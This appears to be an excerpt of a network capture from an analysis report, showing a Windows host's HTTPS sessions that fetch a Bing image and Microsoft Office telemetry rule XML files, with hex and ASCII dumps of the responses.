2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 1b 18 fc 0d 54 0a 4a 91 f3 73 f5 cd 59 b7 c8 50 40 e7 3f 9d 48 cd 3b 76 f9 71 83 ce 6a 44 5c f3 d3 1d aa 08 08 0a 01 ed fe 15 61 7e ee 38 c7 d2 bb 30 7b b3 83 1b aa 43 76 67 91 d6 86 8f 39 07 eb 4e cf a1 f9 b3 8c 9a 33 9e 7f fd 5f 5a f4 0f 3d 24 33 67 c9 90 79 cf e5 40 5f 50 c3 1e f5 26 73 d4 fb 73 48 d8 dd 93 d6 95 c2 c3 08 3b f0 3a 9e d4 6c 21 70 70 69 ca dd 49 eb 9c e2 8e ad d3 9f 5f e9 4e ec 06 18 f0 b8 fc c7 ad 37 6e 7b 73 8e 9e 95 23 10 17 1f 8f 14 d1 c7 51 da 81 31 ac 33 c6 de 00 e9 40 1d 87 7e f4 e5 cf 39 1c 1f 43 4a c3 0b cf e1 ed 40 11 11 e8 3a 50 54 74 1e b4 f0 38 1c d2 b7 7c 0e 3a 71 4e e0 46 06 78 3e 9d a9 32 37 71 c1 03 a7 af a5 3f 1f 2f 60 7b 9a 18 28 60 4f 23 d7 ad 3b 8a c4 58 f9 72 3f 3a 52 a4 e3 18 fe b4 f2 32 be f4 83 b6 3d 78 a2 e2 b0 Data Ascii: TJsYP@?H;vqjD\a~80{Cvg9N3_Z=$3gy@_P&ssH;:l!ppiI_N7n{s#Q13@~9CJ@:PTt8\|:qNFx>27q?/`{(`O#;Xr?:R2=x
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: b0 2a 9e e7 26 8c 01 90 7b 8a 5c 92 bc f1 ec 69 30 76 9c 6e fc 3f 95 03 10 9c 37 a7 4c 52 81 85 ce 78 cd 2e de c4 e3 3e 86 8c 03 9f 9a 8b 89 80 cf 03 d7 93 9a 07 bf 42 28 c6 79 3b b9 19 a0 80 79 ef 8e 94 c2 c0 bf 89 34 bc 8e dc 76 34 60 f4 38 cd 3d 7d 0f 4f 4a 57 18 d0 3e 6e c7 f0 a0 f2 d9 3f 8d 2e 30 c0 0e d4 bf c5 8e df 5a 00 68 fb a4 1c fa d0 3e ee 38 e2 9c a0 0c 83 eb c8 a7 04 03 38 e7 d7 14 5c 06 0c f4 f5 a7 a9 f4 fc 68 c0 ec 78 3d e8 5c f7 e2 8b 80 be e7 bd 1b 70 d9 1f ca 8e bc 76 a5 1f 74 75 a4 31 bb 7e 60 7b 75 a5 c0 fa 9f 7a 51 9e 9d a8 e4 f1 c1 a2 e2 0c 7c d9 38 e6 83 8e 83 9e 31 40 f9 57 9e b4 a0 f6 18 f5 a0 04 e0 71 80 00 ed 41 5e df 95 38 11 dc 70 29 14 7c a0 76 a0 06 32 2b 7c bb 47 e3 48 b0 a1 39 1c 74 ce 05 4b c8 e0 9e bc 73 51 f9 c8 18 e5 Data Ascii: *&{\i0vn?7LRx.>B(y;y4v4`8=}OJW>n?.0Zh>88\hx=\pvtu1~`{uzQ\|81@WqA^8p)\|v2+\|GH9tKsQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49766	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:26 UTC	375	OUT	GET /th?id=OADD2.10239399230513_1725RTMX37W73V5P6&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:26 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 381353 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 297A8EF1F7E84CFA81FD01BF2816C55D Ref B: EWR30EDGE1614 Ref C: 2024-11-28T01:27:26Z Date: Thu, 28 Nov 2024 01:27:26 GMT Connection: close
2024-11-28 01:27:26 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 35 35 3a 30 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:55:008C
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: cd d4 1a 65 fc 8d 6f 23 93 cb 92 48 27 ee fd 05 29 4a 34 e0 ea 54 76 47 1d 6c 5b 8d 55 46 92 e6 9b 4f 4b ed ea 7a ef 8b bc 79 a1 68 6a e9 24 fe 7c a3 3f 2c 64 60 1f 73 5c 3e a1 f1 ae 20 ac 2c ec a1 0d c6 0b 31 62 3f 01 5e 11 aa 6b 57 37 f2 19 25 91 8e ee 48 cf 4f f1 aa 10 dc 00 e4 e7 8e 3a 0e f5 e5 56 cd 1f fc ba 8a 4b cf 53 af 0f 96 e2 2a 6b 88 aa d7 94 74 5f e6 7a 8f c5 0f 88 2b e3 0d 1c 59 dd 47 1a 4b 17 28 63 5c 0c 1e 79 c9 3c 57 1b e1 3b 94 b4 bd 8a 58 e4 97 74 6c 18 60 ed 20 02 3a 1a c5 12 86 7f 5c 9e fd 78 ab 76 21 77 07 57 e4 13 df 07 fc f1 5e 66 27 11 3a ee f3 7a 9e ce 0f 07 4f 09 75 4f ab bf cc fa 67 c0 be 3b f0 ee b5 e5 2e a3 7b 24 17 6a 00 51 30 06 31 db 3b 87 f1 74 e4 8a ed ed 82 49 aa 3c b0 91 24 61 14 2b a9 ca 9e a7 82 2b e4 4b 69 d9 95 48 Data Ascii: eo#H')J4TvGl[UFOKzyhj$\|?,d`s\> ,1b?^kW7%HO:VKS*kt_z+YGK(c\y<W;Xtl` :\xv!wW^f':zOuOg;.{$jQ01;tI<$a++KiH
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 4f e7 5c f2 a4 cd d5 64 26 ec b7 e1 d4 52 a9 3b b3 d0 f7 a1 71 9c f1 41 5f 7a cf d9 1a 7b 70 f3 3f 31 4a 25 19 c8 35 13 71 50 b1 e9 9e 05 54 68 5c 97 89 68 b7 e7 7c df 5c 74 a0 cb 86 cd 54 c9 2d c1 a0 1f 4e d5 4b 0e 88 78 a6 58 92 45 3c 12 b8 aa f2 b8 2d 81 e9 9e 29 8c d9 5f 7f ea 29 8d 92 b9 ed fa f3 5d 10 c3 a4 8c 67 88 6c 1e 4e c3 ad 42 4f cd 90 69 c7 21 7d e9 a4 13 8c 8e 4f 51 5d 11 a6 91 cc ea b6 c7 a9 ca fe b4 c9 17 39 03 d3 34 bc 7e 5e d4 64 9e 07 23 1d e8 e4 d4 6e a6 9a 90 ca 33 c0 e4 54 78 1b b2 73 9a b1 21 cb 1e e0 71 4d 75 eb 8f bd 8e 2b 44 cc 0a ef f7 4e 69 ac bd 41 06 a6 71 da 98 54 ed c0 1f e4 d6 9d 08 20 91 41 5e 2a 26 8f 1c 8c 90 3a 55 b7 5f 97 27 f0 a8 98 13 cf a5 5a 60 d2 2a b2 91 83 db d2 9a 01 e4 75 ab 0c a3 93 4c c6 dc fb f4 35 77 24 Data Ascii: O\d&R;qA_z{p?1J%5qPTh\h\|\tT-NKxXE<-)_)]glNBOi!}OQ]94~^d#n3Txs!qMu+DNiAqT A^&:U_'Z`uL5w$
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: c9 1d fd 28 00 1f a5 3c 0c 64 11 cf bd 27 46 c7 7e c6 a4 a1 30 0f ad 39 46 14 ff 00 9e 29 01 07 a0 c9 eb 8a 7f f0 90 78 fe b8 a4 c0 6b 73 d7 b5 2f d7 83 ec 69 14 91 26 48 18 ef fe 45 38 7a f1 ed 8f d6 81 86 09 34 67 1c 67 d8 7d 68 e7 68 ed 47 f1 10 3a ff 00 5a 91 8e cf 18 3f 4c 7b d3 97 07 03 bf 5a 8c 12 7b 0e 29 d9 3d f8 3e b4 9a 04 c7 80 02 e7 fc e6 9f f8 60 d4 2a 73 21 cf 4f a5 3b 78 ea 48 f7 15 36 29 0f 3c f3 d4 51 c0 5e 7f ce 69 bb 81 50 73 4a b8 3c 7e 14 0e e1 80 7a d1 d3 af 5a 46 24 73 46 e3 d4 fd 68 0b 8b c6 dc 74 14 8c 3e 5f 6a 32 3a 8c 67 b5 25 03 40 07 ff 00 5f 9a 08 23 db ff 00 af 41 3d c7 5a 50 3d 7a d0 03 4a e3 1c fb f6 a6 3a 93 eb 53 0c ed e2 91 80 3d 68 15 88 36 93 ef f8 53 54 37 4d bf 95 58 6a 30 3a 81 c0 c0 a7 70 e5 22 2b 8e b4 8e a7 27 Data Ascii: (<d'F~09F)xks/i&HE8z4gg}hhG:Z?L{Z{)=>`*s!O;xH6)<Q^iPsJ<~zZF$sFht>_j2:g%@_#A=ZP=zJ:S=h6ST7MXj0:p"+'
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 20 5e c7 a7 af ad 2e d3 d7 3f d6 8c 76 fc 78 a5 41 f3 67 d2 95 c6 20 5f 5f fe bf 5a 53 83 cf a1 22 82 30 bc 74 eb 4e 23 a7 ad 17 01 39 2b c7 6f cb 14 28 03 a9 ce 69 40 1c 1a 30 43 67 a5 34 16 13 69 ee 1b fa 52 e3 0d 93 4a c7 1d 7d a8 c7 52 3d a9 5c 2d 61 31 86 e3 14 74 f7 e6 8c 13 c8 c9 eb 4f f4 23 ff 00 d5 48 68 4c 67 de 80 01 e0 ff 00 f5 e8 51 9e 7f 95 18 f9 b1 c7 4f ad 03 02 be bd 69 31 96 c7 4f ad 38 f3 c1 1d 7d 28 00 74 ed 4e e2 1a 06 72 01 e3 d6 b0 fe 25 4f e4 78 32 f1 89 c0 68 f6 e3 d7 3e f5 be c3 a1 ae 27 e3 b5 d7 d9 bc 0e ea 09 1e 63 e3 eb eb 57 4b 59 26 72 e3 9a 58 79 79 e9 f7 9f 37 ea ce 24 ba 90 8e 85 8f f3 a8 50 1e 73 ce 39 c0 1c 0f f1 a5 b9 39 98 f3 8e 69 54 00 b8 3e dc fe b5 e5 c9 dd 9e fd 25 68 24 4b 19 db 81 93 ea 47 a5 5f b7 55 e3 38 07 Data Ascii: ^.?vxAg __ZS"0tN#9+o(i@0Cg4iRJ}R=\-a1tO#HhLgQOi1O8}(tNr%Ox2h>'cWKY&rXyy7$Ps99iT>%h$KG_U8
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: de a5 4c ee cf 53 ed fe 35 1a 82 0e 41 ea 7f 4a 95 41 f5 39 3d bf 5a e7 3d 6e 84 f6 e7 19 00 82 31 d0 f5 e2 b4 6d 1c 1c 03 ca f7 e2 b3 e2 c1 c1 e0 f4 e3 19 1c fd 6a ec 3f 2e 15 47 19 fc 2a 59 71 d0 d4 b2 60 5b 69 fa 0a d4 b7 00 28 cf 3f 36 31 59 36 5c 90 30 7d 3d bf 5a d3 b7 39 c1 6f af a6 47 bd 43 36 b9 b3 64 3e 75 51 8c 8e 3a d6 e5 99 50 80 8f 5c f2 31 cd 61 d9 8c 28 24 f2 70 7a 73 5b 36 59 08 01 3f 9f f8 d6 32 35 8a b1 bb a7 67 6a 91 f8 d6 de 96 32 de 8d 58 5a 66 0c 63 3f 5a da d3 0f fa 47 3d 38 e4 57 2c cd 62 6e da 71 d0 f1 8a d1 89 8e d0 4f 4e 95 9b 67 8e 4d 68 5a 9c 2f 1c e6 b1 63 ea 5a 64 f9 41 15 13 82 3f 84 f3 56 65 0b f6 70 40 19 06 a0 63 96 c7 7e f5 eb e0 5f ee 8f 1f 1a bf 7a 47 83 f4 a4 00 ee 1f a5 48 40 fc 69 a4 1d c6 bb 8e 31 bd 79 02 91 bb Data Ascii: LS5AJA9=Z=n1mj?.G*Yq`[i(?61Y6\0}=Z9oGC6d>uQ:P\1a($pzs[6Y?25gj2XZfc?ZG=8W,bnqONgMhZ/cZdA?Vep@c~_zGH@i1y
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: 3f 4c d4 42 39 42 e3 60 e6 9f 30 72 a2 49 27 2b 8d a3 35 25 bb ee 5e 46 2a 25 b7 f9 d5 8f 51 53 60 85 e0 50 9b 0e 54 3f 18 e0 d1 93 d4 d3 63 2c 72 18 60 50 df 78 9c f1 4e e2 b0 bd 3e 9e b4 37 a5 20 2a 78 dd fa d1 91 de 8b 85 98 a4 f7 a3 af a7 14 8c 37 72 28 8c e3 38 a6 02 b7 dd c8 eb 49 ff 00 ea a7 01 d0 d2 28 27 8e 9d a8 25 a1 a3 8e 94 b4 1f bb 46 3b 1a 00 0e 36 e4 73 8a 6e 3d 47 02 9f b4 6e ce de 29 18 7a 51 71 b1 a4 67 f9 d0 40 ed 4f db dc 52 6d cd 2b 88 66 01 e2 97 19 e0 8e 94 ec 65 ba 73 4b b7 9f bd 47 30 58 66 31 cf f2 a6 81 f8 54 bc 73 47 e1 9a 5c c5 58 8f 1d 8f 4a 00 01 a9 f4 7f 9c 52 e6 01 98 f9 a9 36 fa 75 a7 f0 7e b4 75 5e 7f 4a 18 11 ed ca f1 d2 97 69 a7 63 e6 eb 47 03 93 bb fa 52 02 3c 7a 0a 86 e1 a3 8d 0b c8 76 a8 eb 56 08 15 5b 50 b6 13 db Data Ascii: ?LB9B`0rI'+5%^F%QS`PT?c,r`PxN>7 x7r(8I('%F;6sn=Gn)zQqg@ORm+fesKG0Xf1TsG\XJR6u~u^JicGR<zvV[P
2024-11-28 01:27:27 UTC	16067	IN	Data Raw: d2 9e b9 db c8 c7 ad 18 ee 68 b8 ec 34 2e 78 19 f4 e6 91 41 2a 4f 7a 79 5c f1 df d2 83 ca e0 7a 0a 57 0b 0d db fe 1d 28 20 0e 29 d8 cf 38 e9 40 1d cd 2e 61 d8 6f f0 e7 e9 47 5f ad 29 00 b6 7d b1 46 3a 1c d2 e6 0b 00 cd 07 df f4 a5 1f ce 81 e9 f8 51 cc 16 0e 7d fa 52 1c f4 cf 22 97 da 8c 80 d9 db 4b 98 76 13 af 07 f5 a7 63 f2 a0 1c 75 eb 49 d1 72 3b d2 e6 0b 00 f5 1f 85 3b 19 e2 9b 9f 5a 5f af 14 73 0e c0 06 7a 50 56 8e 76 e3 6f 14 51 cc 16 05 3e bd 7d 29 78 a4 63 ed 46 3d 0d 4d c3 95 0a 0e 38 3c 52 ee a4 c7 6e 94 bf 53 47 30 ec 19 3b a8 1f 78 fb d2 93 85 cf 5a 4c e3 8e f4 b9 87 61 7e 94 13 d3 34 99 e9 4a c7 14 73 05 85 a0 e3 a1 e2 91 69 43 77 35 37 0b 00 3f 80 a5 1d ba 52 7f 16 76 d0 71 fe f5 01 61 4f 3d 69 4f 34 dc e3 9e e6 9d d3 19 cd 2e 61 d8 33 ce 68 Data Ascii: h4.xA*Ozy\zW( )8@.aoG_)}F:Q}R"KvcuIr;;Z_szPVvoQ>})xcF=M8<RnSG0;xZLa~4JsiCw57?RvqaO=iO4.a3h
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: e3 35 2a dc e7 8c e0 8f 7f 4a c3 8e 56 dd 8c 83 c7 7a b4 92 fa f5 3f e7 9a 86 91 69 dc d1 6b 92 5b 1f 37 e1 49 0c ac 1b 8e 49 fc fd fd 6a a4 3f 3e 39 fa d6 9e 91 03 4b 70 a1 53 39 35 94 9a 42 ea 59 b4 59 82 82 78 fc 6a f4 56 33 2c a8 58 7d e3 da ba 1d 1f 40 0f 1f 98 d1 9f 33 1c 67 a5 6b 41 a4 fd 9e 64 91 a1 dd 8e dd 6b 96 55 95 cb 57 39 97 49 11 06 f0 3e 5c 6e fa 55 ed 0a f5 6d a4 2f 10 f9 8f e9 5d 3c da 14 f7 71 8c 40 15 58 8e d8 cd 5a ff 00 84 38 a5 b6 23 88 2c 85 70 0f bd 62 eb 46 c5 58 ca d5 b5 79 ee 34 92 3c d5 c7 f7 7b 9a e5 a3 d5 24 4b ad ee 9b d5 4f 19 ae d5 bc 1b 72 23 1b 86 70 0e 46 6a d6 91 e0 58 24 51 2d c2 61 bd 2a 63 5a 0a e1 63 89 b3 b9 bf d4 6e 86 63 20 37 b1 c7 15 df 78 73 c3 71 6c 8e e6 7c 97 03 23 1c 75 ae 8b 44 f0 ed 9d ac 2a 3c 85 66 Data Ascii: 5JVz?ik[7IIj?>9KpS95BYYxjV3,X}@3gkAdkUW9I>\nUm/]<q@XZ8#,pbFXy4<{$KOr#pFjX$Q-acZcnc 7xsql\|#uD*<f
2024-11-28 01:27:27 UTC	16384	IN	Data Raw: f1 4e a1 a4 70 ac ca d8 5f d0 f5 1d 2b 95 57 a9 4e 4d 5a e8 df 93 9e 57 66 57 85 bc 37 74 96 2a 75 3b b6 66 2e 37 08 f3 83 f5 cf 38 cf e7 5d d4 7a 48 9e c0 41 06 ab 24 07 96 18 50 79 3e a0 9e 87 af 5a b7 a1 da da ea 72 cd 60 a0 a4 91 86 08 c7 27 25 4e 0e 7d 47 1d eb 1b 57 37 7a 6a 11 1b 79 6c 1f 95 0a 30 78 e9 d7 a8 e4 d7 3c a7 29 34 d9 d6 a9 c6 11 d3 63 9f d7 3e 1c 6b 92 df 49 73 67 ae da c8 41 dc 23 96 1d 8c 49 eb 86 04 8e 4f 1d ab 2b 50 f0 0f 88 21 b7 06 f7 48 2d 32 36 e1 3d b8 2f df a9 0b 9c 8e f9 02 ba 9f ed 2b 86 dd 34 d7 d7 2a b2 26 d1 e6 46 1a 33 ee 08 e7 3f d6 b2 b5 6f 1e 3e 8b ab 33 ff 00 6b df 98 ca 05 f2 a3 80 32 82 7d b1 d4 56 8a a5 5b 59 18 4e 9d 1d f6 31 35 2f 0f f8 be 1b 88 c5 b4 42 20 40 24 a1 31 a8 3d 89 18 1f fd 7a 74 fa 3f 8a ef 74 d3 Data Ascii: Np_+WNMZWfW7tu;f.78]zHA$Py>Zr`'%N}GW7zjyl0x<)4c>kIsgA#IO+P!H-26=/+4&F3?o>3k2}V[YN15/B @$1=zt?t

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: e6330c68-701e-006f-6536-40afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012726Z-174f78459684bddphC1EWRbht40000000xk0000000002fkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 80135fc2-701e-001e-3d45-40f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012727Z-174f7845968pf68xhC1EWRr4h80000000xz000000000aquk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012727Z-174f7845968l4kp6hC1EWRe8840000000y2g0000000028qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012727Z-174f7845968j6t2phC1EWRcfe80000000xw000000000bvpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
